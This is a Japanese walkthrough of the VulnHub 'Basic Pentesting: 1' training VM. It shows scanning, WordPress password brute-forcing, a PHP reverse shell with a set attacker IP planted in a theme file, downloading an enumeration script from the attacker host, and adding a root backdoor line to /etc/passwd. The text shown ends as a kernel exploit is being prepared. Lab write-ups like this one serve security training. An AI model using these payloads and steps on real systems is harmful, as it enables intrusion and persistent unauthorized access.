【VulnHub】Basic Pentesting: 1 - Walkthrough -

「[Basic Pentesting: 1](https://www.vulnhub.com/entry/basic-pentesting-1,216/)」は、「[Josiah Pierce](https://www.vulnhub.com/author/josiah-pierce,569/)」によって開発され、[VulnHub](https://www.vulnhub.com/)にて公開されているシリーズの一つです。

# リリース情報
名称: [Basic Pentesting: 1](https://www.vulnhub.com/entry/basic-pentesting-1,216/)
リリース日: 2017年12月8日
シリーズ: [Basic Pentesting](https://www.vulnhub.com/series/basic-pentesting,143/)
作者: [Josiah Pierce](https://www.vulnhub.com/author/josiah-pierce,569/)

注意：
`macOS Chrome`を使用して`.OVA`ファイルをダウンロードした場合、`.OVA`ファイルを`.OVF`にリネームしてダウンロードする[既知の問題点](https://blogs.vmware.com/feed-items/chrome-on-macos-downloads-ova-files-as-ovfs)が報告されています。

# Walkthrough
## 列挙
### 稼働しているIPアドレスの特定
ネットワーク内のIPアドレスを探すために、`netdiscover`コマンドを使用します。

```
# netdiscover -r 172.16.209.0 
 Currently scanning: Finished!   |   Screen View: Unique Hosts          
                                                                        
 2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 120        
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.208.188  00:0c:29:a0:ec:a0      1      60  VMware, Inc.         
 172.16.208.2    00:50:56:f3:32:8a      1      60  VMware, Inc.       
```
これで、標的のIPアドレスが`172.16.208.188`であることが特定できました。

### 実行されているサービスの特定
次にどのサービスが実行されているのか特定を行います。ポートスキャンの実行です。`nmap -Pn -sS -sV -p- 172.16.208.188`コマンド構文を使用します。各オプションの狙いは、次の通りです。

-Pn: スキャンの前に行われるpingでの疎通確認をせずにスキャンします
-sS: TCPのSYNパケットを送ってSYN+ACKが返ってくるか調査します
-sV: サービスのバージョンスキャン
-p-: すべてのポートを対象にします

```
root@kali:~# nmap -Pn -sS -sV -p- 172.16.208.188
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-05 16:14 JST
Nmap scan report for 172.16.208.188
Host is up (0.00083s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 00:0C:29:A0:EC:A0 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.27 seconds
root@kali:~# 
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|21/tcp|ftp|ProFTPD 1.3.3c|
|22/tcp|ssh|OpenSSH 7.2p2 Ubuntu 4ubuntu2.2|
|80/tcp|http|Apache httpd 2.4.18|

### ウェブサイトの診断
ウェブサイトの診断を行います。`nikto`を使用してみます

```
root@kali:~# nikto -h http://172.16.208.188/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.208.188
+ Target Hostname:    172.16.208.188
+ Target Port:        80
+ Start Time:         2019-11-05 16:28:46 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0xb1 0x55e1c7758dcdb 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST 
+ Uncommon header 'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2019-11-05 16:29:10 (GMT9) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

`+ Uncommon header 'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"`の記録が気になります。

続いて、攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探してみます。`dirb`コマンドを使用します。

```
root@kali:~# dirb http://172.16.208.188/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Nov  7 14:54:04 2019
URL_BASE: http://172.16.208.188/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.16.208.188/ ----
+ http://172.16.208.188/index.html (CODE:200|SIZE:177)                            
==> DIRECTORY: http://172.16.208.188/secret/                                      
+ http://172.16.208.188/server-status (CODE:403|SIZE:279)                         
                                                                                  
---- Entering directory: http://172.16.208.188/secret/ ----
+ http://172.16.208.188/secret/index.php (CODE:301|SIZE:0)                        
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/                             
==> DIRECTORY: http://172.16.208.188/secret/wp-content/                           
==> DIRECTORY: http://172.16.208.188/secret/wp-includes/                          
+ http://172.16.208.188/secret/xmlrpc.php (CODE:405|SIZE:42)                      
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-admin/ ----
+ http://172.16.208.188/secret/wp-admin/admin.php (CODE:302|SIZE:0)               
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/css/                         
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/images/                      
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/includes/                    
+ http://172.16.208.188/secret/wp-admin/index.php (CODE:302|SIZE:0)               
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/js/                          
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/maint/                       
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/network/                     
==> DIRECTORY: http://172.16.208.188/secret/wp-admin/user/                        
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-content/ ----
+ http://172.16.208.188/secret/wp-content/index.php (CODE:200|SIZE:0)             
==> DIRECTORY: http://172.16.208.188/secret/wp-content/plugins/                   
==> DIRECTORY: http://172.16.208.188/secret/wp-content/themes/                    
==> DIRECTORY: http://172.16.208.188/secret/wp-content/upgrade/                   
==> DIRECTORY: http://172.16.208.188/secret/wp-content/uploads/                   
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-admin/network/ ----
+ http://172.16.208.188/secret/wp-admin/network/admin.php (CODE:302|SIZE:0)       
+ http://172.16.208.188/secret/wp-admin/network/index.php (CODE:302|SIZE:0)       
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-admin/user/ ----
+ http://172.16.208.188/secret/wp-admin/user/admin.php (CODE:302|SIZE:0)          
+ http://172.16.208.188/secret/wp-admin/user/index.php (CODE:302|SIZE:0)          
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-content/plugins/ ----
+ http://172.16.208.188/secret/wp-content/plugins/index.php (CODE:200|SIZE:0)     
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-content/themes/ ----
+ http://172.16.208.188/secret/wp-content/themes/index.php (CODE:200|SIZE:0)      
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-content/upgrade/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                  
---- Entering directory: http://172.16.208.188/secret/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Thu Nov  7 14:54:27 2019
DOWNLOADED: 36896 - FOUND: 13
root@kali:~# 
```

### HTTPサービスのスキャン
`Firefox`ブラウザを使って`80/tcp`にアクセスしてみます。

* `/`ディレクトリ
<img width="766" alt="Apache default.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7c5c0a47-fb34-237a-600e-0fcca2f90dee.png">

* `/secret`ディレクトリ
実質的なコンテンツは`/secret`ディレクトリ側に用意されていると推定されます。しかし、コンテンツが表示されません。
ここで、`nikto`コマンドの結果を思い出します。`'link' found, with contents: <http://vtcsec/secret/index.php/wp-json/>;`に注目します。この結果から、`hosts`ファイルに名前解決できるよう、記述します。

```
root@kali:~# echo "172.16.208.188 vtｃsec" >> /etc/hosts
```

今一度、`Firefox`ブラウザを使って`/secret`ディレクトリにアクセスしてみます。
![vtcsec.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/e26ebf1f-718c-8612-d915-c4046148960c.png)
`/secret`ディレクトリのフッター情報`Proudly powered by WordPress`、`dirb`コマンドの結果から、標的はCMSとして`WordPress`を使用していることが推定できます。

### WordPressの診断
`WPScan`を使って`WordPress`が抱えている脆弱性について診断を行います。
`wscan.rb -u https://vtsec/secret/ -e at -e ap -e u`コマンド構文をを使用します。各オプションの狙いは、次の通りです。今回は、省略表記（--url ではなく、 -u）を使用しています。

- --url ｜ -u <標的のURL>
- --enumerate ｜ -e <オプション>: オプションの内容を列挙する
    - at: すべてのテーマを列挙する
    - ap: すべてのプラグインを列挙する
    - u: ID1～10までのユーザ名を列挙する

```
root@kali:~# /usr/share/wpscan/wpscan.rb -u http://vtcsec/secret/ -e at -e ap -e u
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://vtcsec/secret/
[+] Started: Thu Nov  7 13:35:54 2019

[+] Interesting header: LINK: <http://vtcsec/secret/index.php/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] XML-RPC Interface available under: http://vtcsec/secret/xmlrpc.php   [HTTP 405]
[+] Found an RSS Feed: http://vtcsec/secret/index.php/feed/   [HTTP 200]
[!] Detected 1 user from RSS feed:
+-------+
| Name  |
+-------+
| admin |
+-------+
[!] Upload directory has directory listing enabled: http://vtcsec/secret/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://vtcsec/secret/wp-includes/

[+] Enumerating WordPress version ...

[+] WordPress version 4.9.12 (Released on 2019-10-14) identified from meta generator, links opml

[+] WordPress theme in use: twentyseventeen - v1.4

[+] Name: twentyseventeen - v1.4
 |  Last updated: 2019-05-07T00:00:00.000Z
 |  Location: http://vtcsec/secret/wp-content/themes/twentyseventeen/
 |  Readme: http://vtcsec/secret/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 2.2
 |  Style URL: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating plugins from passive detection ...
[+] No plugins found passively

[+] Enumerating all plugins (may take a while and use a lot of system resources) ...

   Time: 00:01:18 <========================> (83302 / 83302) 100.00% Time: 00:01:18

[+] We found 1 plugin:

[+] Name: akismet - v4.0.1
 |  Last updated: 2019-05-14T15:05:00.000Z
 |  Location: http://vtcsec/secret/wp-content/plugins/akismet/
 |  Readme: http://vtcsec/secret/wp-content/plugins/akismet/readme.txt
[!] The version is out of date, the latest version is 4.1.2

[+] Enumerating all themes (may take a while and use a lot of system resources) ...

   Time: 00:00:18 <========================> (18238 / 18238) 100.00% Time: 00:00:18

[+] We found 1 theme:

[+] Name: twentyseventeen - v1.4
 |  Last updated: 2019-05-07T00:00:00.000Z
 |  Location: http://vtcsec/secret/wp-content/themes/twentyseventeen/
 |  Readme: http://vtcsec/secret/wp-content/themes/twentyseventeen/README.txt
[!] The version is out of date, the latest version is 2.2
 |  Style URL: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css
 |  Theme Name: Twenty Seventeen
 |  Theme URI: https://wordpress.org/themes/twentyseventeen/
 |  Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a...
 |  Author: the WordPress team
 |  Author URI: https://wordpress.org/

[+] Enumerating usernames ...
[+] We identified the following 1 user:
    +----+-------+-------------------+
    | ID | Login | Name              |
    +----+-------+-------------------+
    | 1  | admin | admin – My secret |
    +----+-------+-------------------+
[!] Default first WordPress username 'admin' is still used

[+] Finished: Thu Nov  7 13:37:43 2019
[+] Elapsed time: 00:01:49
[+] Requests made: 102212
[+] Memory used: 111.945 MB
root@kali:~#
```
`[!] Default first WordPress username 'admin' is still used`の結果から、初期設定のまま`WordPress`を使い続けている可能性が推定できます。そこで、`http_default_pass.txt`辞書ファイルを使って、ブルートフォース攻撃を試みてみます。

```
root@kali:~# /usr/share/wpscan/wpscan.rb -u http://vtcsec/secret/wp-login.php --username admin --wordlist /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt --wp-content-dir http://vtcsec/secret/wp-content/
_______________________________________________________________
        __          _______   _____                  
        \ \        / /  __ \ / ____|                 
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \ 
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team 
                       Version 2.9.4
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://vtcsec/secret/wp-login.php/
[+] Started: Thu Nov  7 13:41:44 2019

[+] Interesting header: SERVER: Apache/2.4.18 (Ubuntu)
[+] Interesting header: SET-COOKIE: wordpress_test_cookie=WP+Cookie+check; path=/secret/
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] robots.txt available under: http://vtcsec/secret/wp-login.php/robots.txt   [HTTP 200]
[+] humans.txt available under: http://vtcsec/secret/wp-login.php/humans.txt   [HTTP 200]
[+] security.txt available under: http://vtcsec/secret/wp-login.php/.well-known/security.txt   [HTTP 200]
[!] emergency.php has been found in: http://vtcsec/secret/wp-login.php/emergency.php
[+] This site seems to be a multisite (http://codex.wordpress.org/Glossary#Multisite)
[!] Upload directory has directory listing enabled: http://vtcsec/secret/wp-content//uploads/

[+] Enumerating WordPress version ...

[i] WordPress version can not be detected

[+] Enumerating plugins from passive detection ...
[+] No plugins found passively
[+] Starting the password brute forcer
  Brute Forcing 'admin' Time: 00:00:00 <=========> (19 / 19) 100.00% Time: 00:00:00
  [+] [SUCCESS] Login : admin Password : admin                                     


  +----+-------+------+----------+
  | ID | Login | Name | Password |
  +----+-------+------+----------+
  |    | admin |      | admin    |
  +----+-------+------+----------+

[+] Finished: Thu Nov  7 13:41:55 2019
[+] Elapsed time: 00:00:11
[+] Requests made: 667
[+] Memory used: 5.773 MB
root@kali:~# 
```
`Login : admin Password : admin`の特定により、`WordPress`の管理者権限を取得することに成功しました。
なお、`hydra`コマンドを使い、`WordPress`に対するブルートフォース攻撃を試行することも可能です。この場合のコマンド構文は、次のとおりです。

```
root@kali:~# hydra -l admin -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt 172.16.208.188 -V http-post-form '/secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcookie=1:S=Location' -t 25
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-11-07 14:13:40
[DATA] max 19 tasks per 1 server, overall 19 tasks, 19 login tries (l:1/p:0), ~19 try per task
[DATA] attacking http-post-form://172.16.208.188:80//secret/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcookie=1:S=Location
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "admin" - 1 of 0 [child 19] (0/0)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "password" - 2 of 0 [child 19] (0/1)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "manager" - 3 of 0 [child 19] (0/2)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "letmein" - 4 of 0 [child 19] (0/3)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "cisco" - 5 of 0 [child 19] (0/4)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "default" - 6 of 0 [child 19] (0/5)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "root" - 7 of 0 [child 19] (0/6)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "apc" - 8 of 0 [child 19] (0/7)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "pass" - 9 of 0 [child 19] (0/8)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "security" - 10 of 0 [child 19] (0/9)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "user" - 11 of 0 [child 19] (0/10)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "system" - 12 of 0 [child 19] (0/11)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "sys" - 13 of 0 [child 19] (0/12)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "none" - 14 of 0 [child 19] (0/13)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "xampp" - 15 of 0 [child 19] (0/14)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "wampp" - 16 of 0 [child 19] (0/15)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "ppmax2011" - 17 of 0 [child 19] (0/16)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "turnkey" - 18 of 0 [child 19] (0/17)
[ATTEMPT] target 172.16.208.188 - login "admin" - pass "vagrant" - 19 of 0 [child 19] (0/18)
[80][http-post-form] host: 172.16.208.188   login: admin   password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-11-07 14:13:43
root@kali:~# 
```

## アクセス権の取得
### ペイロードの作成
WordPressの診断の結果、WordPressの管理コンソールに対するアクセス権を掌握しています。そこで、WordPressに対して、ペイロード（悪意のある動作を実現するコード）を作成し、標的へ送り込んでみましょう。
まず、標的に侵入することができるよう、ペイロードを作成します。今回は、[pentestmonkey](http://pentestmonkey.net/)のリバースシェル[php-reverse-shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell)を仕掛けてみましょう。
`Kali Linux`には`usr/share/webshells/php/php-reverse-shell.php`に収録されています。

```
root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php exploit.php
```

`exploit.php`をエディタで開き、`$ip`と`$port`パラメータの値を変更します。

```
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.16.208.192';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

>[php-reverse-shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell)の他に`msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.208.192 lport=4444 -f raw`にてペイロードを用意する方法もあります。

`WordPress`の管理コンソール（`wp-login.php`）にアクセスし、`admin/admin`にてログインします。
メニューから[Appearance] > [Editor]を選択します。
`Twenty Seventeen`テーマの`404 Template(404.php)`のコードをリバースシェルPHPコード`exploit.php`に置き換えます。エディターで[Update File]ボタンををクリックして、新しい`404.php`ファイルを保存します。
![404php.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/02c1400e-a2f0-cb75-abc1-812ca6a28bdf.png)

攻撃端末側で`nc`コマンド構文を使用し、リバースシェルからの接続を待ち受けます。

```
root@kali:~# nc -lvp 4444 
listening on [any] 4444 ...
```

攻撃端末側の`nc`がアクティブな状態で、`404.php`に接続します。

```
root@kali:~# curl http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php
```

URLが実行されると、セッションが開始されます。システム情報（`lsb_release -a`）について確認しましょう。低特権（`www-data`）のシェルを受け取ることができます。

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
connect to [172.16.208.192] from vtcsec [172.16.208.188] 39246
Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 01:27:57 up  8:00,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.3 LTS
Release:	16.04
Codename:	xenial
No LSB modules are available.
$ 
```

低特権シェルをよりインタラクティブにします。Pythonを使用し、`Pseudo Terminal Utilities`ライブラリをロードします。そのライブラリを使用して`bash`シェルを生成します。コマンド構文は次のとおりです。

```
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@vtcsec:/$ 
```

## システム探索
### linuxprivchecker.py
`SimpleHTTPServer.py`を使用して、`Kali Linux`にWebサーバーをセットアップし、標的からファイルを`wget`できるようにします。

```
# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
```

標的に`linuxprivchecker.py`プログラムを送り、実行します。

```
www-data@vtcsec:/tmp$ wget http://172.16.208.192:8080/linuxprivchecker.py
wget http://172.16.208.192:8080/linuxprivchecker.py
--2019-11-07 02:06:38--  http://172.16.208.192:8080/linuxprivchecker.py
Connecting to 172.16.208.192:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [text/plain]
Saving to: 'linuxprivchecker.py'

linuxprivchecker.py 100%[===================>]  24.71K  --.-KB/s    in 0.004s  

2019-11-07 02:06:38 (6.22 MB/s) - 'linuxprivchecker.py' saved [25304/25304]

www-data@vtcsec:/tmp$ python linuxprivchecker.py
```
結果のうち、`[+] World Writable Files`の出力に注目しました。`/etc/passwd`ファイルのアクセス権が全てのユーザーによる読み書きが許可されている点に注目してください。

```
[+] World Writable Files
    -rw-rw-rw- 1 root root 2364 Nov 16  2017 /etc/passwd
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/policy/.remove
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/policy/.replace
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/policy/.load
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.remove
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.replace
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.load
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.ns_name
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.ns_level
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.ns_stacked
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.stacked
    -rw-rw-rw- 1 root root 0 Nov  5 11:08 /sys/kernel/security/apparmor/.access
    --w--w--w- 1 root root 0 Nov  7 02:11 /sys/fs/cgroup/memory/cgroup.event_control
    -rw-rw-rw- 1 www-data www-data 25304 Nov 23  2013 /tmp/linuxprivchecker.py
```

`[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...`の結果についても注目します。

```
[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...

    Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!

    The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system
    - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c

    The following exploits are applicable to this kernel version and should be investigated as well
    - Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c
    - Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby**
    - CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c
    - CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c
    - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
    - open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c
    - open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c
```

## 特権の引き上げ
### 脆弱なアカウント
`/etc/passwd`ファイルを確認すると、ログイン可能なアカウントが2つあります。

```
www-data@vtcsec:/tmp$ cat /etc/passwd | grep -v nologin | grep -v false | grep -v /bin/sync
<etc/passwd | grep -v nologin | grep -v false | grep -v /bin/sync            
root:x:0:0:root:/root:/bin/bash
marlinspike:x:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
```

そこで、`marlinspike/marlinspike`にて、ログインを試みてみます。

```
www-data@vtcsec:/tmp$ su marlinspike
su marlinspike
Password: marlinspike

marlinspike@vtcsec:/tmp$ whoami
whoami
marlinspike
marlinspike@vtcsec:/tmp$ 
```

`marlinspike`アカウントによる特権昇格の可能性について確認してみます。root権限への昇格に成功しました。

```
marlinspike@vtcsec:/tmp$ sudo -l
sudo -l
[sudo] password for marlinspike: marlinspike

Matching Defaults entries for marlinspike on vtcsec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marlinspike may run the following commands on vtcsec:
    (ALL : ALL) ALL
marlinspike@vtcsec:/tmp$ sudo su
sudo su
root@vtcsec:/tmp# whoami
whoami
root
root@vtcsec:/tmp# 
```

### アカウントの追加
`backdoor/pass`アカウントを標的へ追加します。
はじめに、`perl`コマンドを使って、パスワードを生成します。コマンド構文は次のとおりです。

```
root@kali:~# perl -le 'print crypt("pass", "aa")'
aaW3cJZ7OSoQM
```

続いて、標的システム上で`/etc/passwd`にアカウントを追加します。コマンド構文は次のとおりです。

```
www-data@vtcsec:/tmp$ echo "backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/bin/bash" >> /etc/passwd
```

`su`コマンドを使い、`www-data`アカウントから`backdoor`アカウントに変更します。これにて、root権限への昇格に成功しました。

```
www-data@vtcsec:/$ su backdoor
su backdoor
Password: pass

root@vtcsec:/# whoami
whoami
root
root@vtcsec:/# 
```

### Kernel Exploit アプローチ
`searchsploit`コマンドを使って、[Exploit-DB](https://www.exploit-db.com/)に掲載されている`exploit`コードを検索してみましょう。`45010.c`コードを採用することができそうです。

```
------------------------------------------------------------------------------------------------ ----------------------------------------
 Exploit Title                                                                                  |  Path
                                                                                                | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------------ ----------------------------------------
Linux Kernel <  4.13.9 (Ubuntu 16.04/Fedora 27) - Local Privilege Escalation                    | exploits/linux/local/45010.c
------------------------------------------------------------------------------------------------ ----------------------------------------
```

続いて、標的システムにて`gcc`コンパイラへのアクセス権について確認します。

```
www-data@vtcsec:/tmp$ gcc -v
gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/5/lto-wrapper
Target: x86_64-linux-gnu
